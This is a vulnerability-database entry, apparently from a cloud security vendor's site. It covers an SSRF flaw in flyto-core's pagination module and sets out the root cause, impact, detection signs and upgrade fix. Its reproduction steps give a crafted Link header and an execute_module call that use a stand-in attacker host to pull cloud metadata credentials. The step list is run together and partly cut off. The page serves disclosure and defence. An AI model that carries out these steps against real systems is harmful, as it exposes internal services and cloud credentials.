
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-77315 is a second-order Server-Side Request Forgery (SSRF) vulnerability in Flyto2 Core (flyto-core), an execution kernel for automation and AI-agent workflows. The flaw exists in the http.paginate module, which validates only the initial base_url but follows server-supplied Link: rel="next" pagination URLs without re-applying the SSRF guard. All versions up to and including 2.26.7 are affected; the issue is fixed in version 2.26.8. It carries a CVSS v3.1 base score of 8.5 (High) (Github Advisory). The vulnerability was originally published on July 11, 2026, and added to the GitHub Advisory Database on November 20, 2026 (Github Advisory).
The root cause is CWE-918 (Server-Side Request Forgery): src/core/modules/atomic/http/paginate.py line 495 calls validate_url_with_env_config(base_url) for the initial URL only. The inner pagination loop _paginate_link_header (lines 186–208) reads the next URL via _parse_link_header at line 203, assigns it to url at line 208, and passes it directly to session.request(method, url) at line 196 — with zero guard calls in the loop body. An attacker who controls a server reachable by the first allowed request can return a Link: <http://internal-host/>; rel="next" header, causing the application to fetch the internal resource on the next iteration. The fix in version 2.26.8 inserts a validate_url_with_env_config(next_url) call before following each Link-header URL, and returns SSRF_BLOCKED if the guard rejects the target (Github Advisory, Patch Commit).
A low-privileged authenticated caller can read the response body of arbitrary internal services or cloud instance metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/), because the fetched content is aggregated into all_items and returned directly to the caller. The scope change (S:C) in the CVSS score reflects that the impact extends beyond the vulnerable component to internal infrastructure not otherwise reachable by the attacker. Confidentiality impact is rated High due to potential exposure of cloud credentials, internal API responses, and other sensitive data; integrity impact is Low and availability is not affected (Github Advisory).
A proof-of-concept reproduction procedure is publicly documented in the GitHub Security Advisory, demonstrating the attack with a concrete execute_module invocation and a crafted Link response header pointing at an internal address. The advisory classifies this as poc_steps with high confidence, noting it does not require runnable exploit code beyond the documented steps. There is no evidence of in-the-wild exploitation at this time, and the CVE is not listed in the CISA KEV catalog. The EPSS score is 0.0, reflecting low current exploitation probability (Github Advisory).
http.paginate on the target Flyto2 Core instance running version ≤ 2.26.7.attacker.tld) that serves a valid first-page response (e.g., a JSON array) and includes a crafted Link response header pointing to the internal target:Link: <http://169.254.169.254/latest/meta-data/>; rel="next"execute_module http.paginate {"url":"http://attacker.tld/p1","strategy":"link_header"}http://attacker.tld/p1 (allowed), fetches page 1, parses the Link header, and sets next_url to the internal metadata address without re-running the SSRF guard.session.request(method, next_url) fetches the internal/metadata endpoint directly.all_items and returned to the caller, exposing cloud credentials, internal API data, or other sensitive content (Github Advisory).169.254.169.254) or RFC 1918 internal addresses that are not part of normal workflow targets; requests to these addresses immediately following a request to an external attacker-controlled domain.http.paginate invocations with strategy: link_header where the follow-up URL host differs from the initial base_url host; absence of SSRF_BLOCKED log entries on unpatched versions when internal addresses are followed.all_items results in workflow outputs containing internal service responses, cloud metadata tokens (e.g., AWS IAM role credentials), or unexpected non-paginated content from internal hosts.127.0.0.1) or link-local (169.254.x.x) addresses during pagination workflows (Github Advisory).Upgrade flyto-core to version 2.26.8 or later, which re-validates every Link-header next-page URL through validate_url_with_env_config before following it, and returns SSRF_BLOCKED for rejected targets. The fix is available on PyPI: pip install --upgrade flyto-core. As a temporary workaround until patching is possible, restrict network egress from the Flyto2 Core execution environment to block access to internal RFC 1918 ranges and cloud metadata endpoints (e.g., 169.254.169.254) at the network or firewall level (Github Advisory, Release v2.26.8).
The vulnerability was noted on Mastodon via @thehackerwire and the @cve account on infosec.exchange shortly after publication, indicating routine community awareness tracking. No significant vendor statements beyond the official advisory, nor notable independent researcher commentary, have been identified at this time (Github Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."